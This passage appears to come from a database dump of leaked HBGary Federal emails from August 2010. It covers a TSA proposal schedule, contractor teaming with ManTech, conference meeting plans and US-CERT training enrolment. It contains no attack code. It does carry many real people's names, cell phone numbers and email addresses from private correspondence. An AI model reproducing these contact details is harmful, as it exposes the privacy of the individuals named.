outline.\r\n\r\n\r\n\r\n\r\n\r\n4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Conduct 3rd&nbsp;person QA review\r\n\r\n\r\n\r\n\r\n\r\n5)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Create 2 color and 5 bw copies for Gold\r\nreview\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe\r\nGold Team Review is on 8/25, from noon to 3pm.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSubmission\r\nis 8/29 at midnight.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-John\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJohn\r\nFanguy\r\n\r\n\r\n\r\n\r\n\r\nVP\r\n\r\n\r\n\r\n\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n\r\n\r\n\r\n\r\n\"Leading Government Transformation\"\r\n\r\n\r\n\r\n\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n\r\n\r\n\r\n\r\n--------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749 cell\r\n\r\n\r\n\r\n\r\n\r\n240-223-4800&nbsp;main\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&lt;DMI\r\nProposal Process -v2(jf).pptx&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10191,'aaron_hbgary_com/10191.html'),(9676,'2010-08-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297007626.M318744P14101Q4532.eml','\"Barr Aaron\" <aaron@hbgary.com>','Re: NG','Aaron,Well, I blew off another NG group that has 2 IRADs.  They said they have identified $7 billion in opportunities over the next 5 years.  BFD.BobOn Mon, Aug 2, 2010 at 4:41 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nI have a conf call with Sean Tulles of NG.  Do you know\r\nhim?  According to a guy who works for him he has 2 IRAD projects going after\r\nbig programs.  I am going to maintain the same approach working with\r\ncontractors.  It must be quid pro quo.  If they can’t show me a quick\r\npath to revenue then I don’t participate.  ManTech has shown us that\r\nthere can be short term revenue.  I have a meeting later in the month with\r\nLMCO.  They are the prime for three contracts that have money right now to buy\r\nsoftware.  It simply doesn’t make any sense for us to spend time on maybe\r\nmoney 1-2 years out.  If it is beyond my near term time horizon it simply doesn’t\r\nexist.\r\n\r\n \r\n\r\nBob \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6191,'aaron_hbgary_com/6191.html'),(9677,'2010-08-04','\"Burroughs, Lynda R\" <Lynda.Burroughs@ManTech.com>','/aaron@hbgary.com/new/1297007626.M80379P14101Q4531.eml','aaron@hbgary.com,aaron@hbgary.com','Re: TSA Opportunity','Aaron\r\n\r\nI can participate in a call at 6pm today or after 3pm tomorrow. Would that work for you?\r\n\r\nLynda\r\nLynda Burroughs\r\n703-869-3155\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Cosgrave, Michael C.\r\nCc: Fouche, Tim R; Burroughs, Lynda R\r\nSent: Wed Aug 04 14:49:09 2010\r\nSubject: Re: TSA Opportunity\r\n\r\nHello all,\r\n\r\nGreat.  I am available the rest of the afternoon if you can chat.\r\n\r\nPlease call 719.510.8478.\r\n\r\nAaron\r\n\r\nOn Aug 4, 2010, at 2:46 PM, Cosgrave, Michael C. wrote:\r\n\r\n> Aaron, nice to meet you.  We are interested in this opportunity.\r\n> \r\n> I have cc\'ed Tim Fouche, our operational lead for our DHS work to include TSA.  I have also included Lynda Burroughs, who is a BD Director focused on DHS.\r\n> \r\n> Please let us know when you have some time to chat.  Thanks.\r\n> \r\n> Respectfully, \r\n>  \r\n> Mike Cosgrave\r\n> Vice President, Justice and Homeland Security Solutions Division\r\n> Cyber Defense Solutions Business Unit\r\n> ManTech Mission, Cyber, & Technology Solutions (MCTS) \r\n> 703-674-2667 office\r\n> 703-216-6027 cell\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Frisbie, Robert P \r\n> Sent: Wednesday, August 04, 2010 2:44 PM\r\n> To: Aaron Barr; Cosgrave, Michael C.\r\n> Subject: RE: TSA Opportunity\r\n> \r\n> Mike meet aaron\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 04, 2010 12:08 PM\r\n> To: Frisbie, Robert P\r\n> Subject: TSA Opportunity\r\n> \r\n> Bob,\r\n> \r\n> I know this is not your area but I can\'t get a hold of Eric and I need to make the connection soon if their is a possible opportunity.  There is a TSA IA Draft RFP that hit the street over the weekend.  It is a SMB Set-aside.  We are teamed with Digitalmanagement, they recruited us for this effort a while back.  They would like a larger defense contractor on the team, were talking with Northrop, I waved my arms vigorously and said ManTech is the company that is a better fit and will better execute.  Can you put me in touch with the person that handles TSA?\r\n> \r\n> See you tomorrow.\r\n> \r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> This communication, along with any attachments, is covered by federal and state law governing electronic communications and may contain company proprietary and legally privileged information.  If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution, use or copying of this message is strictly prohibited.  If you have received this in error, please reply immediately to the sender and delete this message.  Thank you.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8997,'aaron_hbgary_com/8997.html'),(9678,'2010-08-04','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007630.M823973P14101Q4533.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: TSA ITSSS Kickoff Timeline and Process','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHere’s the full PPT on the opp I’ve been maintaining, but is\r\nabout a week old.  Obviously keep the actual document for yourself.\r\n\r\n&nbsp;\r\n\r\nKnowledge Consulting Group, KCG.  See slide in the PPT.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 04, 2010 2:58 PM\r\nTo: John Fanguy\r\nSubject: Re: TSA ITSSS Kickoff Timeline and Process\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWho is the incumbent again?\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 4, 2010, at 2:52 PM, John Fanguy &lt;jfanguy@digitalmanagement.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat!!!\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n301-346-6749\r\ncell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 04, 2010 2:52 PM\r\nTo: John Fanguy\r\nCc: William Luti; William E. Miller; Scott B. Deutschman\r\nSubject: Re: TSA ITSSS Kickoff Timeline and Process\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI\r\nhave contacted the right person at Mantech and they are very interested.\r\n&nbsp;I am going to have a brief call with them this afternoon to bring them up\r\nto speed on the opportunity and then put them in contact with you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSound\r\ngood?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nAug 3, 2010, at 6:04 PM, John Fanguy wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron-\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nReally excited to\r\nhave you on the team! Bill Luti and I will be working hard to get you more work\r\nshare ultimately.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe’re conducting\r\nthe kickoff tomorrow morning 9:30am – 11:00am in our offices.&nbsp; We were all\r\ncaught off-guard a bit, so not all the teaming members will be there.&nbsp; I\r\nthink you are up-to-date with Bill on our teaming partner status.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNonetheless, since\r\nyou are a major content contributor I wanted to give you the overall schedule\r\nin advance, so that we can move out on our response tomorrow after the meeting.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFor the kickoff\r\nhere’s what we’ll have:\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Proposal outline\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Proposal info sheet\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Overall Proposal Process &nbsp;(attached)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAnd here’s what we\r\nwant to accomplish during that 90 mins:\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Team contact info sheet\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Content assignments\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Past Performance Template review and\r\nAssignments\r\n\r\n\r\n\r\n\r\n\r\n4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finalize overall timeline/schedule details\r\n\r\n\r\n\r\n\r\n\r\n5)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Draft Win Themes\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBetween Wed noon\r\nand Friday noon, we’ll all focus on:\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Detailed RFP review as questions are due to\r\ngovernment by Friday Aug 6 at 5pm.\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Standard content gathering – Fanguy for DMI\r\nand all large subs\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Technical Approach draft – Barr\r\n\r\n\r\n\r\n\r\n\r\n4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Incumbent capture - Fanguy\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe will compile and\r\nsubmit the questions to the government at 3pm on Friday.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOver the weekend\r\nand thru Tuesday, Aug 10 at noon, we will individually write/compile our\r\nsections.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom Tuesday noon\r\nto Wednesday Aug 11 at noon, the Proposal Team will\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Compile the content into the outline.\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Create 2 color and 5 bw copies for Gold\r\nreview\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe Pink Team\r\nreview on 8/11 &nbsp;from noon to 4pm will output:\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Content gaps\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Final Win Themes\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finalize graphic concepts\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPrior to the Red\r\nTeam Review on 8/18, we will:\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Draft pricing\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Create graphics\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finalize and edit individual content\r\nsections.\r\n\r\n\r\n\r\n\r\n\r\n4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finalize / review past performance\r\nsubmissions.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAll content\r\nsections will be sent to the Proposal Team by 8/16 at 5pm,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom 8/16 – 8/18 at\r\nnoon, they will :\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Compile into proposal outline.\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Conduct a compliance check against the\r\nCompliance Matrix\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Create 2 color and 5 bw copies for Gold\r\nreview\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe Red Team Review\r\non 8/18 will create:\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Gap Analysis\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Additional assignments\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Compliance Matrix\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom 8/18 – 8/23,\r\nwe will:\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finalize, QA, and approve pricing\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finalize content\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom 8/23 at noon\r\nto 8/25 at noon, we will\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Conduct technical/style editing\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Fine-tune graphics\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Compile into master outline.\r\n\r\n\r\n\r\n\r\n\r\n4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Conduct 3rd&nbsp;person QA review\r\n\r\n\r\n\r\n\r\n\r\n5)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Create 2 color and 5 bw copies for Gold\r\nreview\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe Gold Team\r\nReview is on 8/25, from noon to 3pm.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSubmission is 8/29\r\nat midnight.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-John\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJohn Fanguy\r\n\r\n\r\n\r\n\r\n\r\nVP\r\n\r\n\r\n\r\n\r\n\r\nDigital Management,\r\nInc.\r\n\r\n\r\n\r\n\r\n\r\n&quot;Leading\r\nGovernment Transformation&quot;\r\n\r\n\r\n\r\n\r\n\r\nGSA\r\n8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n\r\n\r\n\r\n\r\n--------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n6701 Democracy Blvd,\r\nSuite 500\r\nBethesda, Maryland 20817\r\n301-346-6749 cell\r\n\r\n\r\n\r\n\r\n\r\n240-223-4800&nbsp;main\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&lt;DMI Proposal\r\nProcess -v2(jf).pptx&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3409,'aaron_hbgary_com/3409.html'),(9679,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007631.M350827P14101Q4535.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: NG','So 7b yet they won\'t pony up money? &nbsp;Right.Sent from my iPhoneOn Aug 4, 2010, at 3:02 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:Aaron,Well, I blew off another NG group that has 2 IRADs.&nbsp; They said they have identified $7 billion in opportunities over the next 5 years.&nbsp; BFD.BobOn Mon, Aug 2, 2010 at 4:41 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI have a conf call with Sean Tulles of NG.&nbsp; Do you know\r\nhim?&nbsp; According to a guy who works for him he has 2 IRAD projects going after\r\nbig programs.&nbsp; I am going to maintain the same approach working with\r\ncontractors.&nbsp; It must be quid pro quo.&nbsp; If they can’t show me a quick\r\npath to revenue then I don’t participate.&nbsp; ManTech has shown us that\r\nthere can be short term revenue.&nbsp; I have a meeting later in the month with\r\nLMCO.&nbsp; They are the prime for three contracts that have money right now to buy\r\nsoftware.&nbsp; It simply doesn’t make any sense for us to spend time on maybe\r\nmoney 1-2 years out.&nbsp; If it is beyond my near term time horizon it simply doesn’t\r\nexist.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11637,'aaron_hbgary_com/11637.html'),(9680,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007631.M608359P14101Q4536.eml','\"Burroughs, Lynda R\" <Lynda.Burroughs@ManTech.com>,\"Burroughs, Lynda R\" <Lynda.Burroughs@ManTech.com>','Re: TSA Opportunity','Let\'s do 6pm.  Just u or more?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 4, 2010, at 3:01 PM, \"Burroughs, Lynda R\"  wrote:\r\n\r\n> Aaron\r\n> \r\n> I can participate in a call at 6pm today or after 3pm tomorrow. Would that work for you?\r\n> \r\n> Lynda\r\n> Lynda Burroughs\r\n> 703-869-3155\r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Cosgrave, Michael C.\r\n> Cc: Fouche, Tim R; Burroughs, Lynda R\r\n> Sent: Wed Aug 04 14:49:09 2010\r\n> Subject: Re: TSA Opportunity\r\n> \r\n> Hello all,\r\n> \r\n> Great.  I am available the rest of the afternoon if you can chat.\r\n> \r\n> Please call 719.510.8478.\r\n> \r\n> Aaron\r\n> \r\n> On Aug 4, 2010, at 2:46 PM, Cosgrave, Michael C. wrote:\r\n> \r\n>> Aaron, nice to meet you.  We are interested in this opportunity.\r\n>> \r\n>> I have cc\'ed Tim Fouche, our operational lead for our DHS work to include TSA.  I have also included Lynda Burroughs, who is a BD Director focused on DHS.\r\n>> \r\n>> Please let us know when you have some time to chat.  Thanks.\r\n>> \r\n>> Respectfully, \r\n>> \r\n>> Mike Cosgrave\r\n>> Vice President, Justice and Homeland Security Solutions Division\r\n>> Cyber Defense Solutions Business Unit\r\n>> ManTech Mission, Cyber, & Technology Solutions (MCTS) \r\n>> 703-674-2667 office\r\n>> 703-216-6027 cell\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Frisbie, Robert P \r\n>> Sent: Wednesday, August 04, 2010 2:44 PM\r\n>> To: Aaron Barr; Cosgrave, Michael C.\r\n>> Subject: RE: TSA Opportunity\r\n>> \r\n>> Mike meet aaron\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Wednesday, August 04, 2010 12:08 PM\r\n>> To: Frisbie, Robert P\r\n>> Subject: TSA Opportunity\r\n>> \r\n>> Bob,\r\n>> \r\n>> I know this is not your area but I can\'t get a hold of Eric and I need to make the connection soon if their is a possible opportunity.  There is a TSA IA Draft RFP that hit the street over the weekend.  It is a SMB Set-aside.  We are teamed with Digitalmanagement, they recruited us for this effort a while back.  They would like a larger defense contractor on the team, were talking with Northrop, I waved my arms vigorously and said ManTech is the company that is a better fit and will better execute.  Can you put me in touch with the person that handles TSA?\r\n>> \r\n>> See you tomorrow.\r\n>> \r\n>> Thanks,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> This communication, along with any attachments, is covered by federal and state law governing electronic communications and may contain company proprietary and legally privileged information.  If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution, use or copying of this message is strictly prohibited.  If you have received this in error, please reply immediately to the sender and delete this message.  Thank you.\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',14838,'aaron_hbgary_com/14838.html'),(9681,'2010-08-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297007631.M815424P14101Q4537.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: GFIRST','Aaron and Ted,\r\n\r\nCan either of you get us into see Gen Lord?\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 04, 2010 2:14 PM\r\nTo: Bob Slapnik\r\nCc: Ted Vera\r\nSubject: Re: GFIRST\r\n\r\nI know Rich and the other guy that came from Guidance that left went to see\r\nGen. Lord and his staff.  Might be worthwhile seeing if you can re-engage\r\nwith them down there.  At the time AD was not baked and we didn\'t have\r\nanything in Social Media, TMC, etc.\r\n\r\nAaron\r\n\r\nOn Aug 4, 2010, at 1:53 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\nTed,\r\n \r\nI arrive into San Antonio Monday, Aug 16 at 12:35 pm.  Will be able to meet\r\npeople that afternoon.  Fly leaves Friday at 12:50 so can do Friday morning\r\nappts.    According to the exhibit setup and exposition times I will be free\r\nTuesday afternoon. \r\n \r\nKarl Rasmussen, MITRE\r\n90TH IOS\r\nSaid he wants to meet with me.  He will be at GFIRST so I suggested meeting\r\nTuesday afternoon, but I haven\'t heard from him.\r\n \r\nBob\r\n \r\n \r\n \r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, August 04, 2010 12:49 PM\r\nTo: Aaron Barr\r\nCc: Bob Slapnik\r\nSubject: Re: GFIRST\r\n \r\nI can set up a meeting with the IO Director at MacB, and the 92IOS PM with\r\nTASC.\r\n \r\nTed\r\n \r\nOn Wed, Aug 4, 2010 at 10:38 AM, Aaron Barr  wrote:\r\n\r\nHey Bob,\r\n\r\nJust wanted you to be aware that Ted will be going to GFIRST and not me.  I\r\nthink you guys should coordinate customer and contractor visits to get the\r\nmost out of the trip.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/04/10\r\n00:45:00\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/04/10\r\n00:45:00\r\n\r\n',13612,'aaron_hbgary_com/13612.html'),(9682,'2010-08-04','Sean.Sobieraj@us-cert.gov','/aaron@hbgary.com/new/1297007631.M94285P14101Q4534.eml','jim@hbgary.com,maria@hbgary.com,jim@hbgary.com,maria@hbgary.com','RE: HBGary Training Feedback','\r\nDave Kyger\r\ndavid.kyger@us-cert.gov\r\n703-235-5172\r\n\r\nSean Sobieraj\r\nsean.sobieraj@us-cert.gov\r\n703-235-5304\r\n\r\nRoselle Safran\r\nroselle.safran@us-cert.gov\r\n703-235-5134\r\n\r\nMike Compton\r\nmichael.compton@us-cert.gov\r\n703-235-5133\r\n\r\n\r\nPlease let me know if you need anything else.\r\n\r\nThanks,\r\nSean\r\n\r\n\r\n-----Original Message-----\r\nFrom: Jim Richards [mailto:jim@hbgary.com] \r\nSent: Wednesday, August 04, 2010 2:45 PM\r\nTo: Sobieraj, Sean C; maria@hbgary.com\r\nCc: Copeland, Byron; aaron@hbgary.com\r\nSubject: RE: HBGary Training Feedback\r\n\r\nSure, that can be done. Please send the contact information for\r\neveryone, and I\'ll be happy to enroll them...\r\n\r\nRegards,\r\n\r\nJim\r\n\r\nJim Richards | Learning Programs Manager | HBGary, Inc.\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864 Cell Phone:\r\n916-276-2757 | Office Phone: 916-459-4727 x119 | Fax:\r\n916-481-1460\r\nWebsite: www.hbgary.com | email: jim@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Sean.Sobieraj@us-cert.gov [mailto:Sean.Sobieraj@us-cert.gov]\r\nSent: Wednesday, August 04, 2010 11:28 AM\r\nTo: jim@hbgary.com; maria@hbgary.com\r\nCc: Byron.Copeland@us-cert.gov; aaron@hbgary.com\r\nSubject: RE: HBGary Training Feedback\r\n\r\nJim,\r\n\r\nThanks for the info.  Dave Kyger would like to attend September 14-16\r\nand Mike Compton, Roselle Safran and I would like to retake the class in\r\nNovember.  Is that possible?\r\n\r\n/r\r\nSean\r\n\r\n\r\n-----Original Message-----\r\nFrom: Jim Richards [mailto:jim@hbgary.com]\r\nSent: Wednesday, August 04, 2010 12:36 PM\r\nTo: Sobieraj, Sean C; maria@hbgary.com\r\nCc: Copeland, Byron; aaron@hbgary.com\r\nSubject: RE: HBGary Training Feedback\r\n\r\nSean,\r\nThe next class in McLean after the September 14-16 class is November 2-4\r\n(https://www.hbgary.com/training/). Please let me know how you want to\r\nproceed with this.\r\n\r\nRegards,\r\n\r\nJim\r\n\r\nJim Richards | Learning Programs Manager | HBGary, Inc.\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864 Cell Phone:\r\n916-276-2757 | Office Phone: 916-459-4727 x119 | Fax:\r\n916-481-1460\r\nWebsite: www.hbgary.com | email: jim@hbgary.com\r\n\r\n-----Original Message-----\r\nFrom: Sean.Sobieraj@us-cert.gov [mailto:Sean.Sobieraj@us-cert.gov]\r\nSent: Wednesday, August 04, 2010 9:11 AM\r\nTo: maria@hbgary.com\r\nCc: Byron.Copeland@us-cert.gov; aaron@hbgary.com; jim@hbgary.com\r\nSubject: RE: HBGary Training Feedback\r\n\r\n\r\nThanks Maria, we are looking forward to the additional training.  We\r\nwould like to send at least one person to the class coming up on\r\nSeptember 14-15.  Do you have an updated schedule for classes 